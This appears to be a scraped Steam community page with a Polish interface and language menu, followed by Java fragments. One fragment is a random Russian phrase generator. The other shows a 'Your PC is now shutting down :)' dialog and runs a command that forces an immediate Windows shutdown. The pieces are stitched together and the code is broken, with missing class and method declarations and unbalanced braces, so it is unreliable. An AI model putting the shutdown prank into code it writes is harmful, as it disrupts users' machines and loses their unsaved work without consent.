Zainstaluj Steam
zaloguj się
|
język
简体中文 (chiński uproszczony)
繁體中文 (chiński tradycyjny)
日本語 (japoński)
한국어 (koreański)
ไทย (tajski)
български (bułgarski)
Čeština (czeski)
Dansk (duński)
Deutsch (niemiecki)
English (angielski)
Español – España (hiszpański)
Español – Latinoamérica (hiszpański latynoamerykański)
Ελληνικά (grecki)
Français (francuski)
Italiano (włoski)
Bahasa Indonesia (indonezyjski)
Magyar (węgierski)
Nederlands (niderlandzki)
Norsk (norweski)
Português (portugalski – Portugalia)
Português – Brasil (portugalski brazylijski)
Română (rumuński)
Русский (rosyjski)
Suomi (fiński)
Svenska (szwedzki)
Türkçe (turecki)
Tiếng Việt (wietnamski)
Українська (ukraiński)
Zgłoś problem z tłumaczeniem
public static void main(String[] args) {
// TODO code application logic here
String[] wordListOne = {"круглосуточный" , "трех-звенный" , "3000-футовый"};
String[] wordListTwo = {"уполномоченный" , "ориентированный" , "трудный"};
String[] wordListThree = {"процесс" , "пункт разгрузки" , "выход из положения"};
int oneLe = wordListOne.length;
int twoLe = wordListTwo.length;
int threeLe = wordListThree.length;
int random1 = (int) (Math.random() * oneLe);
int random2 = (int) (Math.random() * twoLe);
int random3 = (int) (Math.random() * threeLe);
String f = wordListOne[random1] + " " + wordListTwo[random2] + " " + wordListThree[random3];
System.out.print("Все, что нам нужно, - это "+ f);
}
}
Runtime runtime = Runtime.getRuntime();
try {
JOptionPane.showMessageDialog(null, "Your PC is now shutting down :)");
runtime.exec("shutdown -s -t 0");
} catch (IOException e1) {
e1.printStackTrace();
}
System.exit(0);
}
}
}